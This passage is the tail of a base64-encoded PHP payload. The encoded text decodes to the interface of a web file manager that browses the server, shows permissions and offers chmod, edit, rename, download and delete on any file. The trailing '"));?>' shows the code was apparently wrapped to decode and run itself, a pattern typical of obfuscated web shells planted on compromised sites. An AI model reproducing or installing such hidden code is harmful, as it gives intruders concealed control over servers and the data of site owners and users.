TwvYnV0dG9uPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Zvcm0+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29sLW1kLTEyIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29sbGFwc2UiIGlkPSJuZXdGb2xkZXJDb2xsYXBzZSIgZGF0YS1icy1wYXJlbnQ9IiN0b29scyI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJyb3cganVzdGlmeS1jb250ZW50LWNlbnRlciI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29sLW1kLTUiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1iLTMiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxsYWJlbCBjbGFzcz0iZm9ybS1sYWJlbCI+Rm9sZGVyIE5hbWU8L2xhYmVsPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBjbGFzcz0iZm9ybS1jb250cm9sIiBuYW1lPSJuZXdGb2xkZXJOYW1lIiBwbGFjZWhvbGRlcj0iaG9tZSI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1vdXRsaW5lLWxpZ2h0Ij5DcmVhdGU8L2J1dHRvbj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9mb3JtPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KDQogICAgICAgICAgICAgICAgICAgIDwhLS0gZmlsZSBtYW5hZ2VyIC0tPg0KICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJ0YWJsZS1yZXNwb25zaXZlIG10LTMiPg0KICAgICAgICAgICAgICAgICAgICAgICAgPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciB0YWJsZS1kYXJrIGFsaWduLW1pZGRsZSB0ZXh0LWxpZ2h0Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGhlYWQgY2xhc3M9ImFsaWduLW1pZGRsZSI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0cj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBzdHlsZT0id2lkdGg6MzUlIj5OYW1lPC90ZD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBzdHlsZT0id2lkdGg6MTAlIj5UeXBlPC90ZD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBzdHlsZT0id2lkdGg6MTAlIj5TaXplPC90ZD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBzdHlsZT0id2lkdGg6MTMlIj5Pd25lci9Hcm91cDwvdGQ+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgc3R5bGU9IndpZHRoOjEwJSI+UGVybWlzc2lvbjwvdGQ+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgc3R5bGU9IndpZHRoOjEzJSI+TGFzdCBNb2RpZmllZDwvdGQ+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgc3R5bGU9IndpZHRoOjklIj5BY3Rpb25zPC90ZD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90cj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RoZWFkPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0Ym9keSBjbGFzcz0idGV4dC1ub3dyYXAiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCAoJGRpcnMgYXMgJGRpcikgOg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICghaXNfZGlyKCRkaXIpKSBjb250aW51ZTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRyPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGlmICgkZGlyID09PSAnLi4nKSA6ID8+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9Ij9kaXI9PD89IGRpcm5hbWUoJHBhdGgpOyA/PiIgY2xhc3M9InRleHQtZGVjb3JhdGlvbi1ub25lIHRleHQtbGlnaHQiPjxpIGNsYXNzPSJmYSBmYS1mb2xkZXItb3BlbiI+PC9pPiA8Pz0gJGRpciA/PjwvYT4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlbHNlaWYgKCRkaXIgPT09ICcuJykgOiAgPz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iP2Rpcj08Pz0gJHBhdGg7ID8+IiBjbGFzcz0idGV4dC1kZWNvcmF0aW9uLW5vbmUgdGV4dC1saWdodCI+PGkgY2xhc3M9ImZhIGZhLWZvbGRlci1vcGVuIj48L2k+IDw/PSAkZGlyID8+PC9hPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVsc2UgOiA/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSI/ZGlyPTw/PSAkcGF0aCAuICcvJyAuICRkaXIgPz4iIGNsYXNzPSJ0ZXh0LWRlY29yYXRpb24tbm9uZSB0ZXh0LWxpZ2h0Ij48aSBjbGFzcz0iZmEgZmEtZm9sZGVyIj48L2k+IDw/PSAkZGlyID8+PC9hPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVuZGlmOyA/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz0idGV4dC1saWdodCI+PD89IGZpbGV0eXBlKCRkaXIpID8+PC90ZD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz0idGV4dC1saWdodCI+LTwvdGQ+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9InRleHQtbGlnaHQiPjw/PSBnZXRPd25lcigkZGlyKSA/PjwvdGQ+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9InRleHQtbGlnaHQiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzxhIGhyZWY9Ij9kaXI9Jy4kcGF0aC4nJml0ZW09Jy4kZGlyLicmYWN0aW9uPWNobW9kIj4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoaXNfd3JpdGFibGUoJHBhdGguJy8nLiRkaXIpKSBlY2hvICc8Zm9udCBjb2xvcj0ibGltZSI+JzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVsc2VpZighaXNfcmVhZGFibGUoJHBhdGguJy8nLiRkaXIpKSBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyBwZXJtcygkcGF0aC4nLycuJGRpcik7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZihpc193cml0YWJsZSgkcGF0aC4nLycuJGRpcikgfHwgIWlzX3JlYWRhYmxlKCRwYXRoLicvJy4kZGlyKSkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPC9hPic7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9InRleHQtbGlnaHQiPjw/PSBkYXRlKCJZLW0tZCBoOmk6cyIsIGZpbGVtdGltZSgkZGlyKSk7ID8+PC90ZD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoJGRpciAhPSAnLicgJiYgJGRpciAhPSAnLi4nKSA6ID8+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImJ0bi1ncm91cCI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSI/ZGlyPTw/PSAkcGF0aCA/PiZpdGVtPTw/PSAkZGlyID8+JmFjdGlvbj1yZW5hbWUiIGNsYXNzPSJidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtIG1yLTEiIGRhdGEtdG9nZ2xlPSJ0b29sdGlwIiBkYXRhLXBsYWNlbWVudD0iYXV0byIgdGl0bGU9IlJlbmFtZSI+PGkgY2xhc3M9ImZhIGZhLWVkaXQiPjwvaT48L2E+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSIiIGNsYXNzPSJidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtIG1yLTEiIG9uY2xpY2s9InJldHVybiBkZWxldGVDb25maXJtKCc/ZGlyPTw/PSAkcGF0aCA/PiZpdGVtPTw/PSAkZGlyID8+JmFjdGlvbj1kZWxldGUnKSIgZGF0YS10b2dnbGU9InRvb2x0aXAiIGRhdGEtcGxhY2VtZW50PSJhdXRvIiB0aXRsZT0iRGVsZXRlIj48aSBjbGFzcz0iZmEgZmEtdHJhc2giPjwvaT48L2E+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVsc2VpZiAoJGRpciA9PT0gJy4nKSA6ID8+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImJ0bi1ncm91cCI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSBkYXRhLWJzLXRvZ2dsZT0iY29sbGFwc2UiIGhyZWY9IiNuZXdGb2xkZXJDb2xsYXBzZSIgcm9sZT0iYnV0dG9uIiBhcmlhLWV4cGFuZGVkPSJmYWxzZSIgYXJpYS1jb250cm9scz0ibmV3Rm9sZGVyQ29sbGFwc2UiIGNsYXNzPSJidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtIG1yLTEiIGRhdGEtdG9nZ2xlPSJ0b29sdGlwIiBkYXRhLXBsYWNlbWVudD0iYXV0byIgdGl0bGU9Ik5ldyBGb2xkZXIiPjxpIGNsYXNzPSJmYSBmYS1mb2xkZXItcGx1cyI+PC9pPjwvYT4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGRhdGEtYnMtdG9nZ2xlPSJjb2xsYXBzZSIgaHJlZj0iI25ld0ZpbGVDb2xsYXBzZSIgcm9sZT0iYnV0dG9uIiBhcmlhLWV4cGFuZGVkPSJmYWxzZSIgYXJpYS1jb250cm9scz0ibmV3RmlsZUNvbGxhcHNlIiBjbGFzcz0iYnRuIGJ0bi1vdXRsaW5lLWxpZ2h0IGJ0bi1zbSBtci0xIiBkYXRhLXRvZ2dsZT0idG9vbHRpcCIgZGF0YS1wbGFjZW1lbnQ9ImF1dG8iIHRpdGxlPSJOZXcgRmlsZSI+PGkgY2xhc3M9ImZhIGZhLWZpbGUtcGx1cyI+PC9pPjwvYT4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZW5kaWY7ID8+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RkPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RyPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRmb3JlYWNoOyA/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoICgkZGlycyBhcyAkZGlyKSA6DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCFpc19maWxlKCRkaXIpKSBjb250aW51ZTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID8+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dHI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSI/ZGlyPTw/PSAkcGF0aCA/PiZpdGVtPTw/PSAkZGlyID8+JmFjdGlvbj1lZGl0IiBjbGFzcz0idGV4dC1kZWNvcmF0aW9uLW5vbmUgdGV4dC1saWdodCI+PGkgY2xhc3M9ImZhIGZhLWZpbGUtY29kZSI+PC9pPiA8Pz0gJGRpciA/PjwvYT4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RkPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz0idGV4dC1saWdodCI+PD89IChmdW5jdGlvbl9leGlzdHMoJ21pbWVfY29udGVudF90eXBlJykgPyBtaW1lX2NvbnRlbnRfdHlwZSgkZGlyKSA6IGZpbGV0eXBlKCRkaXIpKSA/PjwvdGQ+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPSJ0ZXh0LWxpZ2h0Ij48Pz0gZnNpemUoJGRpcikgPz48L3RkPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz0idGV4dC1saWdodCI+PD89IGdldE93bmVyKCRkaXIpID8+PC90ZD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9InRleHQtbGlnaHQiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPGEgaHJlZj0iP2Rpcj0nLiRwYXRoLicmaXRlbT0nLiRkaXIuJyZhY3Rpb249Y2htb2QiPic7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoaXNfd3JpdGFibGUoJHBhdGguJy8nLiRkaXIpKSBlY2hvICc8Zm9udCBjb2xvcj0ibGltZSI+JzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlaWYoIWlzX3JlYWRhYmxlKCRwYXRoLicvJy4kZGlyKSkgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+JzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvIHBlcm1zKCRwYXRoLicvJy4kZGlyKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZihpc193cml0YWJsZSgkcGF0aC4nLycuJGRpcikgfHwgIWlzX3JlYWRhYmxlKCRwYXRoLicvJy4kZGlyKSkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzwvYT4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPSJ0ZXh0LWxpZ2h0Ij48Pz0gZGF0ZSgiWS1tLWQgaDppOnMiLCBmaWxlbXRpbWUoJGRpcikpOyA/PjwvdGQ+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoJGRpciAhPSAnLicgJiYgJGRpciAhPSAnLi4nKSA6ID8+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJidG4tZ3JvdXAiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9Ij9kaXI9PD89ICRwYXRoID8+Jml0ZW09PD89ICRkaXIgPz4mYWN0aW9uPWVkaXQiIGNsYXNzPSJidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtIG1yLTEiIGRhdGEtdG9nZ2xlPSJ0b29sdGlwIiBkYXRhLXBsYWNlbWVudD0iYXV0byIgdGl0bGU9IkVkaXQiPjxpIGNsYXNzPSJmYSBmYS1maWxlLWVkaXQiPjwvaT48L2E+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iP2Rpcj08Pz0gJHBhdGggPz4maXRlbT08Pz0gJGRpciA/PiZhY3Rpb249cmVuYW1lIiBjbGFzcz0iYnRuIGJ0bi1vdXRsaW5lLWxpZ2h0IGJ0bi1zbSBtci0xIiBkYXRhLXRvZ2dsZT0idG9vbHRpcCIgZGF0YS1wbGFjZW1lbnQ9ImF1dG8iIHRpdGxlPSJSZW5hbWUiPjxpIGNsYXNzPSJmYSBmYS1lZGl0Ij48L2k+PC9hPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9Ij9kaXI9PD89ICRwYXRoID8+Jml0ZW09PD89ICRkaXIgPz4mYWN0aW9uPWRvd25sb2FkIiBjbGFzcz0iYnRuIGJ0bi1vdXRsaW5lLWxpZ2h0IGJ0bi1zbSBtci0xIiBkYXRhLXRvZ2dsZT0idG9vbHRpcCIgZGF0YS1wbGFjZW1lbnQ9ImF1dG8iIHRpdGxlPSJEb3dubG9hZCI+PGkgY2xhc3M9ImZhIGZhLWZpbGUtZG93bmxvYWQiPjwvaT48L2E+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iIiBjbGFzcz0iYnRuIGJ0bi1vdXRsaW5lLWxpZ2h0IGJ0bi1zbSBtci0xIiBvbmNsaWNrPSJyZXR1cm4gZGVsZXRlQ29uZmlybSgnP2Rpcj08Pz0gJHBhdGggPz4maXRlbT08Pz0gJGRpciA/PiZhY3Rpb249ZGVsZXRlJykiIGRhdGEtdG9nZ2xlPSJ0b29sdGlwIiBkYXRhLXBsYWNlbWVudD0iYXV0byIgdGl0bGU9IkRlbGV0ZSI+PGkgY2xhc3M9ImZhIGZhLXRyYXNoIj48L2k+PC9hPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVuZGlmOyA/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RyPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRmb3JlYWNoOyA/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdGJvZHk+DQogICAgICAgICAgICAgICAgICAgICAgICA8L3RhYmxlPg0KICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgPGNlbnRlcj48ZGl2IGNsYXNzPSJ0ZXh0LWxpZ2h0IG15LTEiPiYjMTY5OyBMVUNJTzwvZGl2PjwvY2VudGVyPg0KICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgPC9kaXY+DQogICAgICAgIDwvZGl2Pg0KICAgICAgICA8c2NyaXB0IHNyYz0iaHR0cHM6Ly9jZG4uanNkZWxpdnIubmV0L25wbS9ib290c3RyYXBANS4xLjMvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyIgaW50ZWdyaXR5PSJzaGEzODQta2E3U2swR2xuNGdtdHoyTWxRbmlrVDF3WGdZc09nK09NaHVQK0lsUkg5c0VOQk8wTFJuNXErOG5iVG92NCsxcCIgY3Jvc3NvcmlnaW49ImFub255bW91cyI+PC9zY3JpcHQ+DQogICAgICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL3N3ZWV0YWxlcnQyQDExLjQuMC9kaXN0L3N3ZWV0YWxlcnQyLmFsbC5taW4uanMiPjwvc2NyaXB0Pg0KICAgICAgICA8c2NyaXB0Pg0KICAgICAgICAgICAgPD9waHAgaWYgKGlzc2V0KCRfU0VTU0lPTlsnbWVzc2FnZSddKSkgOiA/Pg0KICAgICAgICAgICAgICAgIFN3YWwuZmlyZSgNCiAgICAgICAgICAgICAgICAnPD89ICRfU0VTU0lPTlsnc3RhdHVzJ10gPz4nLA0KICAgICAgICAgICAgICAgICc8Pz0gJF9TRVNTSU9OWydtZXNzYWdlJ10gPz4nLA0KICAgICAgICAgICAgICAgICc8Pz0gJF9TRVNTSU9OWydjbGFzcyddID8+Jw0KICAgICAgICAgICAgICAgICkNCiAgICAgICAgICAgIDw/cGhwIGVuZGlmOyBjbGVhcigpOyA/Pg0KDQogICAgICAgICAgICBmdW5jdGlvbiBkZWxldGVDb25maXJtKHVybCkgew0KICAgICAgICAgICAgICAgIGV2ZW50LnByZXZlbnREZWZhdWx0KCkNCiAgICAgICAgICAgICAgICBTd2FsLmZpcmUoew0KICAgICAgICAgICAgICAgICAgICB0aXRsZTogJ0FyZSB5b3Ugc3VyZT8nLA0KICAgICAgICAgICAgICAgICAgICBpY29uOiAnd2FybmluZycsDQogICAgICAgICAgICAgICAgICAgIHNob3dDYW5jZWxCdXR0b246IHRydWUsDQogICAgICAgICAgICAgICAgICAgIGNvbmZpcm1CdXR0b25Db2xvcjogJyMzMDg1ZDYnLA0KICAgICAgICAgICAgICAgICAgICBjYW5jZWxCdXR0b25Db2xvcjogJyNkMzMnLA0KICAgICAgICAgICAgICAgICAgICBjb25maXJtQnV0dG9uVGV4dDogJ1llcywgZGVsZXRlIGl0IScNCiAgICAgICAgICAgICAgICB9KS50aGVuKChyZXN1bHQpID0+IHsNCiAgICAgICAgICAgICAgICAgICAgaWYgKHJlc3VsdC5pc0NvbmZpcm1lZCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgd2luZG93LmxvY2F0aW9uLmhyZWYgPSB1cmwNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0pDQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgIGZ1bmN0aW9uIGpzY29weSgpIHsNCiAgICAgICAgICAgICAgICB2YXIganNDb3B5ID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIkNvcHlGcm9tVGV4dEFyZWEiKTsNCiAgICAgICAgICAgICAgICBqc0NvcHkuZm9jdXMoKTsNCiAgICAgICAgICAgICAgICBqc0NvcHkuc2VsZWN0KCk7DQogICAgICAgICAgICAgICAgZG9jdW1lbnQuZXhlY0NvbW1hbmQoImNvcHkiKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgPC9zY3JpcHQ+DQogICAgPC9ib2R5Pg0KPC9odG1sPg=="));?> ?>